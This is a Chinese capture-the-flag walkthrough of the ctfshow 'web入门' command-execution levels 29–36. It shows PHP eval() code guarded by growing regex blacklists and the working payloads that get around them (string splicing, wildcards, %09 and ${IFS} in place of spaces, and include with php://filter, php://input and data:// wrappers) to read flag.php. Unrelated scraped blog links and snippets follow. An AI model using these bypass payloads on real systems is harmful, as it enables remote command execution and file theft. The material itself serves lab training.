ctfshow web入门 命令执行 web29-36
29-36 全是基于get传参执行 eval() 函数,均采用黑名单匹配,不同点在于黑名单的变化
web29
1 error_reporting(0);
2 if(isset($_GET['c'])){
3 $c = $_GET['c'];
4 if(!preg_match("/flag/i", $c)){
5 eval($c);
6 }
7
8 }else{
9 highlight_file(__FILE__);
10 }
涉及知识点
1、执行外部命令函数:system()、passthru()、popen()、proc_open()、exec()、shell_exec()、内敛执行(反引号``、${})
(前六个为php可调用并执行linux指令的函数)
2、关键字屏蔽绕过:''、""、?、*、\、字符拼接、数组拼接
3、文件内容查看命令:cat、tac、head、tail、less、more、nl、paste、rev、uniq、grep、sort、od、vi
payload
c=system('tac fla""g.php');
注意:不可单引号内用单引号,双引号内用双引号
若使用 cat 命令查看,需要右击查看页面源代码
web30
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
} }else{
highlight_file(__FILE__);
}
黑名单增加:system、php
payload
c=syst\em('tac fl""ag.p""hp'); //对system进行绕过处理,但无法获取flag
真正payload:c=passthru('tac fl""ag.p""hp');
理由:
system()函数是 php 中的函数,不支持 '' "" \ ? * 绕过
但linux支持
但 php 支持字符拼接、数组拼接 c=eval('sys'.'tem("tac fl\ag.p\hp");');
c=eval(implode(['sys','tem("tac fla','g.ph','p");']));
web31
1 error_reporting(0);
2 if(isset($_GET['c'])){
3 $c = $_GET['c'];
4 if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
5 eval($c);
6 }
7
8 }else{
9 highlight_file(__FILE__);
10 }
黑名单增加:cat sort shell . ‘
知识点:
空格绕过:<>、{,}、${IFS}、$IFS$9、%09、%0a、%0b、%0c
payload
c=echo(`tac%09fla*`); //由于屏蔽 . 应用匹配符替代(* ?)
c=echo%09`tac%09fla*`;
c=passthru("tac%09fl*"); //单引号被屏蔽,只能使用双引号
web32
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
} }else{
highlight_file(__FILE__);
}
黑名单增加: ` echo ; (
由于 ( 的,使得函数无法使用,文件包含函数与伪协议不需要括号,这里使用文件包含传递伪协议
知识点:
1、文件包含函数:include、require、include_once、require_once
2、伪协议:php:// data:// file:// zip://
3、分号在代码中表示结束,php代码格式为 <?php ?>,分号与 ?> 同为结束符,这里使用 ?> 代替分号
payload
解法一
c=include%09$_GET[1]?>&1=data://text/palin,<?php system('tac flag.php')?> //使用data伪协议
解法二
c=include%09$_GET[1]?>&1=php://input //使用php伪协议
抓包,在请求体、请求头添加下列信息
解法三
c=include%09$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php //使用php伪协议
得到
PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7YzJhZmM2MDgtNzNjNC00ODEyLWJkMGYtOTQ0ZmNjOTVhMGUxfSI7DQo=
这是对flag.php文件进行base64编码后的内容
进行base64解码,可得flag
base64解码 原因
源代码只对参数 $C 进行黑名单匹配,我们对 $c 再嵌套一个参数,对于 $c 嵌套的参数无法匹配
web33
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
} }else{
highlight_file(__FILE__);
}
黑名单添加双引号,不影响我们,解法同32
web34
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
} }else{
highlight_file(__FILE__);
}
黑名单添加冒号,解法同32
web35
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
} }else{
highlight_file(__FILE__);
}
黑名单添加 < =,解法同32
web36
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
} }else{
highlight_file(__FILE__);
}
黑名单添加:/ 数字
将 web32 的参数换成字母
payload
c=include%09$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
c=include%09$_GET[a]?>&a=php://input
c=include%09$_GET[a]?>&a=data://text/palin,<?=system('cat flag.php')?>
参考
[WEB安全]PHP伪协议总结 - 肖洋肖恩、 - 博客园 (cnblogs.com)
ctfshow web入门 命令执行 web29-36的更多相关文章
- ctfshow web入门部分题目 (更新中)
CTFSHOW(WEB) web入门 给她 1 参考文档 https://blog.csdn.net/weixin_51412071/article/details/124270277 查看链接 sq ...
- web漏洞-命令执行、文件上传、XSS
一.命令执行 1:什么是命令执行? 命令执行漏洞是指攻击者可以随意执行系统命令.属于高危漏洞之一任何脚本语言都可以调用操作系统命令. 应用有时需要调用一些执行系统命令的函数,举个例子如:PHP中的 ...
- (大数据工程师学习路径)第一步 Linux 基础入门----命令执行顺序控制与管道
介绍 顺序执行.选择执行.管道.cut 命令.grep 命令.wc 命令.sort 命令等,高效率使用 Linux 的技巧. 一.命令执行顺序的控制 1.顺序执行多条命令 通常情况下,我们每次只能在终 ...
- 【CTF WEB】命令执行
命令执行 找到题目中的KEY KEY为八位随机字符数字,例如key:1234qwer.提交1234qwer 即可. 漏洞代码 <?php system("ping -c 2 " ...
- Asp.net 在网页编写C#代码示例-- 一个简单的web MsSql 命令执行环境
在给一个客户做的系统上,因为要对数据库进行查看,但之前都是用TeamView来连接到客户的服务器进行数据库操作的 但最近客户那边的TeamView好像更改过密码导致我无法正常连接,而巧了客户的网官因为 ...
- ctfshow WEB入门 信息收集 1-20
web1 题目:开发注释未及时删除 查看页面源代码即可 web2 题目:js把鼠标右键和f12屏蔽了 方法一: 禁用JavaScript 方法二: url前面加上view-source: web3 题 ...
- 小白日记36:kali渗透测试之Web渗透-手动漏洞挖掘(二)-突破身份认证,操作系统任意命令执行漏洞
手动漏洞挖掘 ###################################################################################### 手动漏洞挖掘 ...
- 关于CTFshow中Web入门42-54
0x00前记 终于把学校上学期的期末考试考完了,刚好复习的时候跟着群里的师傅写了ctfshow上Web入门的42-54的题目,其中有很多的坑,但是收获也是很多的,这里做一下总结吧!给自己挖了很多的 ...
- ctfshow之Web入门刷题记(从89开始,持续更新)
0x01Web89-99PHP特性payload Web89 include("flag.php"); highlight_file(__FILE__); if(isset($_G ...
- [web安全原理]PHP命令执行漏洞基础
前言 PHP命令执行漏洞 应用程序的某些功能功能需要调用可以执行系统命令的函数,如果这些函数或者函数的参数被用户控制,就有可能通过命令连接符将恶意命令拼接到正常的函数中,从而随意执行系统命令,这就是命 ...
随机推荐
- 【已解决】将jsp文件在浏览器打开直接出现代码,在浏览器出现本地地址,tomcat报错
问题背景: 导入了一个项目直接打开可以,但是想跟一遍代码,把配置文件全部整理成为一个springmvc的基础配置文件 跟着配置到自己tomcat就不管怎样都是下面的截图 希望可以帮到一起报错的朋友快 ...
- vim编辑器操作指南
编辑模式(i) yy复制行 p粘贴 dd剪切 V按行选中 u撤销 ctr+r反撤销 >>往右缩进 <<往左缩进 :/...搜索指定内容 .重复上一次命令 G回到最后一行 gg回 ...
- 如何获取win10用户最高权限
第五步,在(输入对象名称)方框中输入"System Managed Accounts Group",再点击"检查名称" 转载: 百度经验: https: ...
- 开源项目推荐:3D点云处理软件CloudCompare,
3D point cloud and mesh processing software,Open Source Project,Based on Qt5. CloudCompare是一款基于GPL开源 ...
- oculus 安装其他盘方法
把安装文件OculusSetup.exe安装到D盘(默认直接按C盘) D:\softbackup\OculusSetup.exe /drive=D
- wwise 音频引擎介绍
https://blog.csdn.net/GJQI12/article/details/108007696
- 03-python基本数据类型详解
python基本数据类型详解 一.整型int 存储年龄,身份证号等 age = 18 id = 0000001 # 注:可以使用type关键字查看变量的数据类型 print(type(age)) # ...
- Tensorflow1.0版本与以前函数不同之处
大部分是Api版本问题: AttributeError: 'module' object has no attribute 'SummaryWriter' tf.train.SummaryWriter ...
- 解决报错Could not satisfy explicit device specification '' because the node was colocated with a group of nodes that required incompatible device '/device:GPU:0'
sess = tf.Session(config=tf.ConfigProto(log_device_placement=True))改为如下:sess = tf.Session(config=tf. ...
- VUE学习-条件渲染
条件渲染 v-if & v-else-if & v-else <div id="app"> <h1 v-if="type == 'VUE ...